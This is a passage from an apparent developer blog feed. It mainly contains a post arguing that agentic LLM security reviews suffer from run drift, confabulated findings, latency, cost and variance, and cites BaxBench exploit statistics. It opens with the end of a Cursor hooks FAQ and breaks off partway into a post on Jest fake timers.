&lt;h2 id=&quot;faq&quot;&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; Should &lt;code&gt;stop&lt;/code&gt; replace GitHub Actions?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; No. Actions remain the team-wide source of truth for merges and releases. Hooks accelerate local agent loops; they do not provide isolated runners, required reviews, or branch protection by themselves. Keep parity by running the same pnpm scripts in both places.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; Why does &lt;code&gt;pnpm&lt;/code&gt; work in my terminal but fail in the hook?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; Different &lt;code&gt;PATH&lt;/code&gt;, different Node, and missing login-shell init are the usual causes. Compare &lt;code&gt;which node&lt;/code&gt; and &lt;code&gt;node -v&lt;/code&gt; from a debug-enabled hook run against your interactive shell. Sanitize editor-bundled runtimes when versions diverge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; Can I use npm instead of pnpm?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; Yes. Replace commands with &lt;code&gt;npm run lint&lt;/code&gt; / &lt;code&gt;npm run build&lt;/code&gt; (or &lt;code&gt;npx&lt;/code&gt;) as long as the hook’s environment resolves the same toolchain your CI uses. The integration pattern does not depend on pnpm specifically—pnpm appears here because that is what the reference repository used.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; How do I stop burning follow-ups on unfixable errors?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; Lower &lt;code&gt;loop_limit&lt;/code&gt;, improve the failure message with file anchors, and consider skipping heavy checks when &lt;code&gt;loop_count&lt;/code&gt; exceeds a threshold you define inside the script (document that policy for your team).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; Is &lt;code&gt;postToolUse&lt;/code&gt; safer than &lt;code&gt;stop&lt;/code&gt; for large repos?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; Often, yes, if your goal is to nudge after each write without paying a full build each turn. The trade-off is more hook invocations and different response semantics—consult the latest Agent Hooks documentation for field names and matchers.&lt;/p&gt;
&lt;h2 id=&quot;next-steps&quot;&gt;Next steps&lt;/h2&gt;
&lt;p&gt;If you are maintaining a Node.js monorepo with pnpm, a practical adoption path is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Add &lt;code&gt;.cursor/hooks.json&lt;/code&gt; with a conservative &lt;code&gt;timeout&lt;/code&gt; and explicit &lt;code&gt;loop_limit&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Implement &lt;code&gt;post-session-verify.sh&lt;/code&gt; with PATH sanitization, abort skipping, and JSON-safe failure reporting.&lt;/li&gt;
&lt;li&gt;Mirror the same scripts in GitHub Actions so “green locally” and “green in CI” mean the same thing.&lt;/li&gt;
&lt;li&gt;Enable debug logging for one session, capture &lt;code&gt;node&lt;/code&gt; resolution and PATH head, then turn debug off for day-to-day use.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Follow on X/Twitter (&lt;a href=&quot;https://twitter.com/liran_tal&quot;&gt;@liran_tal&lt;/a&gt;) for updates and shorter notes on developer tooling. Explore related examples and security-focused Node.js material on &lt;a href=&quot;https://github.com/lirantal&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title>LLM Security Automation Isn’t a Drop-In Scanner Yet</title><link>https://lirantal.com/blog/llm-security-automation-isnt-a-drop-in-scanner-yet/</link><guid>https://lirantal.com/blog/llm-security-automation-isnt-a-drop-in-scanner-yet/</guid><description>An LLM Security Scanning and Review is a strong assist but a weeak gate. Why a `/security-review` slash command or agent harness is not a drop-in replacement for deterministic scanners yet: nondeterminism, confabulation, latency, cost, exploitability of generated code, and findings variance—grounded in how agent loops work and what BaxBench measures.</description><pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If your team is wiring a coding agent with a &lt;code&gt;/security-review&lt;/code&gt; or &lt;code&gt;/security-scan&lt;/code&gt; custom command, you are not alone. The idea is intuitive: point an LLM at a repository, let it read files, grep for suspicious patterns, and emit a punch list of vulnerabilities before merge. In practice, that workflow inherits properties of probabilistic models and agentic control loops that static analysis vendors spent years sanding down.&lt;/p&gt;
&lt;p&gt;In this article, I document six structural failure modes, connect them to measurement ideas you can reuse in engineering reviews, and ground one of the scarier claims about “secured” code in peer-reviewed evidence.&lt;/p&gt;
&lt;p&gt;You should read this as a scope guardrail, not a dismissal of LLM-assisted review. Used well and with the right contextual information, models compress context and suggest hypotheses. Used as the sole gate, they reintroduce variance where security programs usually demand repeatability, provenance, and budgets that survive every commit.&lt;/p&gt;
&lt;h2 id=&quot;background-and-prior-art&quot;&gt;Background and prior art&lt;/h2&gt;
&lt;p&gt;Security engineering has long split work between human review, dynamic analysis, dependency and license scanning, and rule-driven static analysis (SAST). Those tools are not always perfect, but they are engineered for repeatability: the same inputs yield the same findings modulo explicit versioning rules, and incremental scans reuse prior graphs where products support it. Academic benchmarks and industry incident data also emphasize that &lt;strong&gt;correctness and security are distinct&lt;/strong&gt;: code can pass functional tests and still admit exploits when threat models change.&lt;/p&gt;
&lt;p&gt;Large language models inverted part of that story. They excel at open-ended synthesis and contextual reasoning (potentially at a cross-file reasoning too, but yet to be determined), which is exactly what security reviewers do informally. Benchmarks at function level looked encouraging early on, which nudged teams toward “LLM as scanner” mental models. &lt;strong&gt;BaxBench&lt;/strong&gt; (discussed later) is one of the newer checks on that optimism: it evaluates multi-file backend generation with functional tests &lt;strong&gt;and&lt;/strong&gt; expert-authored exploits, reporting that even strong models leave a large slice of “correct” programs exploitable.&lt;/p&gt;
&lt;p&gt;This write-up focuses on &lt;strong&gt;agent harnesses&lt;/strong&gt;—prompted workflows that loop tools, accumulate context, and terminate with a report, because that is what most &lt;code&gt;/security-scan&lt;/code&gt; implementations are in practice from a developer perspective (inclusive of AI builders, and mature AI native engineers).&lt;/p&gt;
&lt;h2 id=&quot;how-it-works-the-anatomy-of-an-agentic-security-pass&quot;&gt;How it works: the anatomy of an agentic security pass&lt;/h2&gt;
&lt;p&gt;Operationally, a coding agent performing repository-scale review is a feedback system. The model proposes actions (read a path, search for a string, run a command), the harness (e.g: Claude Code or Cursor) executes them, results return as tokens, and the loop continues until a stop condition. That architecture is powerful and flexible, but it couples three sources of variability: the model’s policy, the tool surface exposed to it, and nondeterministic decoding.&lt;/p&gt;
&lt;pre class=&quot;mermaid-source-block&quot;&gt;&lt;code class=&quot;language-mermaid&quot;&gt;flowchart TB
  subgraph inputs [Inputs]
    PR[Diff or tree snapshot]
    POL[Policies and prompts]
  end
  subgraph loop [Agent loop]
    M[Model proposes next tool calls]
    T[Tool runner: read, grep, shell]
    C[Context assembly + truncation]
    M --&gt; T --&gt; C --&gt; M
  end
  subgraph outputs [Outputs]
    R[Findings list + rationale]
  end
  PR --&gt; M
  POL --&gt; M
  M --&gt; R&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two consequences follow immediately. First, the &lt;strong&gt;state&lt;/strong&gt; the model sees is partial and path-dependent: a different ordering of reads can change the final narrative, even if the repository is identical. Second, &lt;strong&gt;cost and latency scale with the loop&lt;/strong&gt;, not with a precomputed program representation the way mature SAST engines do after indexing.&lt;/p&gt;
&lt;p&gt;The sections below translate those mechanics into product-level risks.&lt;/p&gt;
&lt;h2 id=&quot;1-run-drift-the-same-command-a-different-report&quot;&gt;1. Run drift: the same command, a different report&lt;/h2&gt;
&lt;p&gt;Run the same &lt;code&gt;/security-scan&lt;/code&gt; twice on an unchanged tree. If you treat the output like a compiler, you expect bitwise stability. LLM decoders do not offer that contract unless you build a deterministic harness on top (fixed model version, temperature zero where exposed, pinned prompts, constrained tool plans, and often still residual variance). In real coding agents, temperature and sampling parameters are frequently &lt;strong&gt;not&lt;/strong&gt; exposed to end users, and tool ordering can differ between sessions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Run drift&lt;/strong&gt; is the security program name for that instability. It shows up in triage as contradictory severities, disappearing findings, or new “criticals” that no commit introduced. Teams respond by re-running scans “until it looks right,” which is harmless for creative writing and toxic for evidence chains. If you cannot reproduce a finding on demand, you cannot assign accountability, prioritize fairly, or defend an audit trail.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Quick check:&lt;/strong&gt; pick three commits, run the harness five times each at the same commit SHA, and record finding identifiers (CWE, file path, line span). Compare overlap with a simple set metric such as Jaccard similarity across runs. If similarity is low while the tree is fixed, you are measuring entertainment, not instrumentation.&lt;/p&gt;
&lt;h2 id=&quot;2-phantom-findings-and-the-precisionrecall-trap&quot;&gt;2. Phantom findings and the precision–recall trap&lt;/h2&gt;
&lt;p&gt;Confabulation, often called “hallucination” in casual writing, is not only poetic license. In security triage, it maps cleanly onto classic information retrieval metrics that many software engineers have seen on dashboards, even if the ML vocabulary is unfamiliar.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Recall&lt;/strong&gt; answers: of all the real security issues present, how many did we flag? High recall means you catch most true vulnerabilities, possibly at the cost of noise.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Precision&lt;/strong&gt; answers: of everything we flagged, how many were real? High precision means few false alarms, possibly at the cost of misses.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s make this concrete: suppose a module contains one true SQL injection vulnerability and ten harmless string concatenations. If a static application security testing (SAST) scanner flags all eleven as issues, its recall is perfect (it finds the real bug) but its precision is poor (only 1 out of 11 flags is correct, so there are many false positives). Now, consider a scanner that “stays silent”, meaning it produces no results at all for this analysis. In this scenario, its precision is technically perfect since it never produces false alarms (there are zero false positives among its zero findings). However, its recall is catastrophic because it completely misses the real SQL injection issue. This underscores how high precision alone doesn’t mean the tool is useful. If the scanner never reports anything, it’s simply blind to real problems.&lt;/p&gt;
&lt;p&gt;LLM-generated findings often degrade &lt;strong&gt;precision&lt;/strong&gt; without guaranteeing recall. A model can narrate a plausible CWE chain for code that never executed the vulnerable path, cite a library version that is not in your lockfile, or describe an exploit that does not compile. If engineers do not treat those items as hypotheses, the failure mode is worse than ignoring the scan: you pay implementation tax on ghosts: extra branches, user-visible friction, refactors that introduce regressions, all because a non-issue was packaged with confident language.&lt;/p&gt;
&lt;p&gt;Note: a potential mitigation for future benchmarks might be to require every automated finding to carry a minimal proof sketch: inputs, trust boundary, and a failing test or exploit scaffold. If the harness cannot produce that artifact, route the item to human review with an explicit “unverified” state rather than a backlog of presumed truth.&lt;/p&gt;
&lt;h2 id=&quot;3-the-latency-cliff-agent-loops-versus-deterministic-scanners&quot;&gt;3. The latency cliff: agent loops versus deterministic scanners&lt;/h2&gt;
&lt;p&gt;Static analysis products optimize for throughput: parse once, reuse facts, diff against prior graphs, stream results. Agentic review optimizes for flexibility: each step pays round-trip latency and tokenization costs. On a moderate multi-package repository, a single agent pass that reads broadly, follows imports, and reasons aloud can take &lt;strong&gt;minutes&lt;/strong&gt;, not seconds, before you even discuss fixing anything. That is not a moral failing; it is physics given current architectures.&lt;/p&gt;
&lt;p&gt;Where this hurts is &lt;strong&gt;inner loop ergonomics&lt;/strong&gt;. Developers already batch pre-push checks to stay inside attention budgets. If your “scanner” is slower than the test suite and competes for the same CI concurrency slots, it will be skipped on hot paths. Security programs degrade when controls migrate to the paths of least resistance.&lt;/p&gt;
&lt;p&gt;Note: potential method to explore is to time-box the harness and log wall-clock duration, tool call counts, and tokens per stage. Compare against your fastest deterministic checks on the same diff. The comparison is not to crown a winner, it is to decide which gates belong on every commit versus nightly evidence generation.&lt;/p&gt;
&lt;h2 id=&quot;4-unbounded-cost-no-baseline-no-delta-every-run-bills&quot;&gt;4. Unbounded cost: no baseline, no delta, every run bills&lt;/h2&gt;
&lt;p&gt;Commercial SAST often ships incremental scanning: changed files, cached facts, deduplicated rules. Agentic scans, unless you engineer caching yourself, tend to &lt;strong&gt;re-pay&lt;/strong&gt; full context costs on every invocation. Tokens, compute, and seat-time add up even when the code did not change.&lt;/p&gt;
&lt;p&gt;The happy path story is seductive: spending thousands of dollars to catch one remote code execution can be rational in isolation. The unhappy path dominates routine engineering: repeated scans across branches and CI matrices spend budget rediscovering that nothing new appeared. Without explicit baselines, deduplication, and change-aware scheduling, finance and developer experience both erode.&lt;/p&gt;
&lt;p&gt;Treat LLM review like an expensive microscope, not a smoke detector. Run it where marginal information is highest—large refactors, new auth surfaces, unfamiliar dependencies, and pair it with cheap always-on checks for known patterns.&lt;/p&gt;
&lt;h2 id=&quot;5-baxbench-and-why-correct-enough-code-still-gets-exploited&quot;&gt;5. BaxBench and why “correct enough” code still gets exploited&lt;/h2&gt;
&lt;p&gt;When people quote alarming percentages about LLMs writing vulnerable code, it is worth anchoring the claim to a reproducible benchmark instead of vibes. &lt;a href=&quot;https://baxbench.com/&quot;&gt;BaxBench&lt;/a&gt;, introduced by Vero et al., evaluates LLMs on &lt;strong&gt;392&lt;/strong&gt; security-critical backend generation tasks spanning multiple frameworks and languages. Solutions are judged with functional tests and with expert-authored exploits executed end to end, including black-box attacks (for example malicious queries) and white-box checks (for example secrets in artifacts).&lt;/p&gt;
&lt;p&gt;The paper’s abstract states that, &lt;strong&gt;on average, exploits could be executed on around half of the correct programs&lt;/strong&gt; produced by each LLM, a statistic that is easy to misread, so note the denominator: &lt;strong&gt;correct&lt;/strong&gt; programs that passed functional tests, not “all outputs.” The BaxBench site additionally summarizes that a large share of solutions from even the best models are &lt;strong&gt;either incorrect or contain a vulnerability&lt;/strong&gt; (their headline figure is about &lt;strong&gt;62%&lt;/strong&gt; for the strongest model in that combined bucket). For model-by-model nuance, use the public &lt;strong&gt;”% insecure of correct”&lt;/strong&gt; column on the BaxBench leaderboard rather than a single rounded number pulled from memory.&lt;/p&gt;
&lt;p&gt;That is not the same experimental setup as “an LLM patched a finding and we measured patch quality,” but it is directly relevant to the thesis of this article. &lt;strong&gt;Code that looks reviewed can remain exploitable&lt;/strong&gt; because models optimize for plausibility under incomplete constraints. BaxBench also highlights ecosystem effects: performance degrades further on less popular frameworks, which matches what teams see when agents stray from well-trodden Stack Overflow–shaped paths.&lt;/p&gt;
&lt;p&gt;To validate this yourself, read the paper’s methodology section for threat-model assumptions, then inspect the public dataset and harness on Hugging Face and GitHub if you want to reproduce leaderboard numbers rather than trusting a single blog paragraph. Start from the canonical abstract on arXiv and the authors’ site.&lt;/p&gt;
&lt;h2 id=&quot;6-findings-variance-models-prompts-harnesses-and-modes-all-move&quot;&gt;6. Findings variance: models, prompts, harnesses, and modes all move&lt;/h2&gt;
&lt;p&gt;Even if you stabilize one dimension, others drift. A new foundation model can reorder heuristics silently. Moving from one flagship model to another changes failure shapes: some models over-flag, others under-flag, some confabulate with higher fluency. Prompt changes that read as “minor wording” can swing outputs because instruction following is competitive among multiple valid parses. Different coding agents expose different tool sets, permission models, and default reasoning modes, which changes exploration order and therefore context.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Findings variance&lt;/strong&gt; is the security program term for that instability across the matrix of (model, prompt, harness, org policy). Without versioned prompts, pinned models, and recorded harness configurations, you cannot compare January’s posture to March’s in a meaningful way.&lt;/p&gt;
&lt;p&gt;Consider treating prompts and tool manifests like code: semver them, review changes, and attach them to scan artifacts. When variance is a first-class risk, governance is a first-class deliverable.&lt;/p&gt;
&lt;h2 id=&quot;trade-offs-and-alternatives&quot;&gt;Trade-offs and alternatives&lt;/h2&gt;
&lt;p&gt;No single column captures every nuance, but teams make better decisions when the axes are explicit.&lt;/p&gt;















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Approach&lt;/th&gt;&lt;th&gt;Repeatability&lt;/th&gt;&lt;th&gt;Latency (typical)&lt;/th&gt;&lt;th&gt;Cost model&lt;/th&gt;&lt;th&gt;Best for&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Deterministic SAST&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;td&gt;Often seconds to low minutes on incremental diffs&lt;/td&gt;&lt;td&gt;License or CI minutes&lt;/td&gt;&lt;td&gt;Known patterns, broad baselines&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dependency scanning&lt;/td&gt;&lt;td&gt;High&lt;/td&gt;&lt;td&gt;Fast&lt;/td&gt;&lt;td&gt;Per-repo or org&lt;/td&gt;&lt;td&gt;Supply chain issues with identifiers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fuzzing / DAST&lt;/td&gt;&lt;td&gt;Medium–high with seeds&lt;/td&gt;&lt;td&gt;Variable&lt;/td&gt;&lt;td&gt;Compute&lt;/td&gt;&lt;td&gt;Runtime assumptions, parsers&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;LLM-assisted review&lt;/td&gt;&lt;td&gt;Low–medium with engineering&lt;/td&gt;&lt;td&gt;Minutes common&lt;/td&gt;&lt;td&gt;Tokens per pass&lt;/td&gt;&lt;td&gt;Hypothesis generation, prose summaries&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Expert human review&lt;/td&gt;&lt;td&gt;Medium&lt;/td&gt;&lt;td&gt;Human-scale&lt;/td&gt;&lt;td&gt;Salary time&lt;/td&gt;&lt;td&gt;Judgment under ambiguity&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The key trade-off is repeatability versus flexibility. LLMs buy flexibility; security gates usually buy repeatability. Hybrid designs pair cheap deterministic checks on every commit with slower LLM passes on risk-tiered events.&lt;/p&gt;
&lt;h2 id=&quot;validation-and-measurement&quot;&gt;Validation and measurement&lt;/h2&gt;
&lt;p&gt;If you adopt only two metrics from this article, adopt these.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Run drift score:&lt;/strong&gt; repeated runs at fixed SHA, overlap of normalized findings. Low overlap implies you need baselines before you trust dashboards.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proof latency:&lt;/strong&gt; median time from finding to minimal executable proof (test, exploit scaffold, or stack trace). Rising proof latency is a leading indicator that the harness is narrating instead of demonstrating.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Expected output:&lt;/strong&gt; a short internal memo with histograms, not a single anecdote. Security improvements should be legible to finance and compliance, not only to model enthusiasts.&lt;/p&gt;
&lt;h2 id=&quot;faq&quot;&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q: Should we delete our &lt;code&gt;/security-review&lt;/code&gt; command?&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;A:&lt;/strong&gt; No. Rename its contract mentally from “scanner” to “assistant.” Keep deterministic gates authoritative; use the command for narrative, exploration, and test ideas. Require proofs for anything that blocks merge.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: Does setting temperature to zero fix nondeterminism?&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;A:&lt;/strong&gt; It reduces sampling variance when the knob exists, but tool ordering, truncation, retrieval differences, and model updates still move results. Treat temperature as a small knob on a large system.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: How do we compare LLM findings to Snyk or other SAST?&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;A:&lt;/strong&gt; Compare on &lt;strong&gt;precision-labeled&lt;/strong&gt; subsets. Take fifty findings from each system on the same diff, blind them, and have engineers label true or false positive. Report precision and recall with confidence intervals rather than arguing from slogans.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q: Is BaxBench about code review agents specifically?&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;A:&lt;/strong&gt; No. It benchmarks &lt;strong&gt;generated backends&lt;/strong&gt; against functional tests and executed exploits. The lesson for review agents is indirect but strong: models can satisfy immediate correctness signals while missing security properties that only show up under adversarial execution.&lt;/p&gt;
&lt;h2 id=&quot;next-steps&quot;&gt;Next steps&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Instrument your harness for duration, tokens, and normalized finding keys; publish an internal run drift report on a frozen commit.&lt;/li&gt;
&lt;li&gt;Add a “proof required” workflow state for any LLM-only finding before work enters sprints.&lt;/li&gt;
&lt;li&gt;Tier controls: deterministic checks on every push, LLM passes on high-risk change classes.&lt;/li&gt;
&lt;li&gt;Read BaxBench’s methodology and decide which parts of your stack resemble their threat model; cite the paper when you argue for budget for human review.&lt;/li&gt;
&lt;li&gt;Version prompts and model IDs like dependencies so incident retrospectives can reconstruct behavior.&lt;/li&gt;
&lt;/ol&gt;</content:encoded></item><item><title>All About Jest, Timers, and Mocks</title><link>https://lirantal.com/blog/jest-timers-and-mocks/</link><guid>https://lirantal.com/blog/jest-timers-and-mocks/</guid><description>How to use Jest fake timers, advance time safely in tests, and pair timer control with mocks and spies without flaky or misleading assertions.</description><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So you’re asserting &lt;code&gt;Date.now()&lt;/code&gt; deltas around &lt;code&gt;setTimeout&lt;/code&gt;, CI is green on two Node versions, and the matrix job for the middle version explodes with &lt;code&gt;Expected: &gt;= 100&lt;/code&gt; and &lt;code&gt;Received: 99&lt;/code&gt;. Nothing in your product code changed. The failure isn’t every run. That’s the kind of bug that wastes an afternoon unless you know what you’re measuring.&lt;/p&gt;
&lt;p&gt;I hit this on &lt;a href=&quot;https://github.com/lirantal/npq&quot;&gt;npq&lt;/a&gt; while tightening promise throttling for package audits. We fixed it by stopping wall-clock assertions for timer behavior and driving the same scenarios with Jest fake timers. This post is the anatomy of that flake: why it happens, how the throttler actually behaves, and how I’d write the tests again from scratch.&lt;/p&gt;
&lt;h2 id=&quot;what-were-actually-testing&quot;&gt;What we’re actually testing&lt;/h2&gt;





















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;What you think you’re testing&lt;/th&gt;&lt;th&gt;What the CPU is really doing&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;”At least 100ms passed”&lt;/td&gt;&lt;td&gt;Integer ms from &lt;code&gt;Date.now()&lt;/code&gt; before and after async work&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;”setTimeout(100) means 100ms”&lt;/td&gt;&lt;td&gt;The host schedules a timer; wakeups aren’t aligned to your test’s two &lt;code&gt;Date.now()&lt;/code&gt; samples&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;”One failing Node = Node bug”&lt;/td&gt;&lt;td&gt;Often it’s your test assuming properties the runtime never promised&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The throttler’s job is simple: cap concurrency and enforce a &lt;strong&gt;minimum&lt;/strong&gt; spacing between handled requests. The tests need to prove (1) fast work still waits for &lt;code&gt;minDelay&lt;/code&gt;, and (2) slow work does &lt;strong&gt;not&lt;/strong&gt; get an extra &lt;code&gt;minDelay&lt;/code&gt; stacked on top. Wall-clock ms are the wrong instrument for both.&lt;/p&gt;
&lt;h2 id=&quot;architecture-overview&quot;&gt;Architecture overview&lt;/h2&gt;
&lt;pre class=&quot;mermaid-source-block&quot;&gt;&lt;code class=&quot;language-mermaid&quot;&gt;flowchart TB
  subgraph enqueue [Enqueue]
    T[throttle fn] --&gt; Q[queue]
    Q --&gt; PQ[processQueue]
  end
  subgraph run [Per item]
    PQ --&gt; W[await promiseFunction]
    W --&gt; D{minDelay &gt; 0?}
    D --&gt;|yes| E[elapsed = Date.now - startTime]
    E --&gt; R{remainingDelay &gt; 0?}
    R --&gt;|yes| ST[await setTimeout remainingDelay]
    R --&gt;|no| RES[resolve result]
    ST --&gt; RES
    D --&gt;|no| RES
    RES --&gt; FI[finally: setImmediate processQueue]
  end&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;processQueue&lt;/code&gt; is async and re-entrant via &lt;code&gt;setImmediate&lt;/code&gt;, but the flaky tests only cared about the &lt;strong&gt;&lt;code&gt;Date.now&lt;/code&gt; / &lt;code&gt;setTimeout&lt;/code&gt;&lt;/strong&gt; slice in the middle: measure elapsed work, then sleep the remainder of &lt;code&gt;minDelay&lt;/code&gt;. That’s where test time and real time diverge.&lt;/p&gt;
&lt;h2 id=&quot;step-1-the-production-path--why-99-is-not-always-a-bug&quot;&gt;Step 1: The production path — why &lt;code&gt;99&lt;/code&gt; is not always a bug&lt;/h2&gt;
&lt;p&gt;The implementation (simplified) looks like this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;startTime&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;await&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;promiseFunction&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.minDelay &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;elapsed&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Date.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; startTime&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;remainingDelay&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.minDelay &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; elapsed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (remainingDelay &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
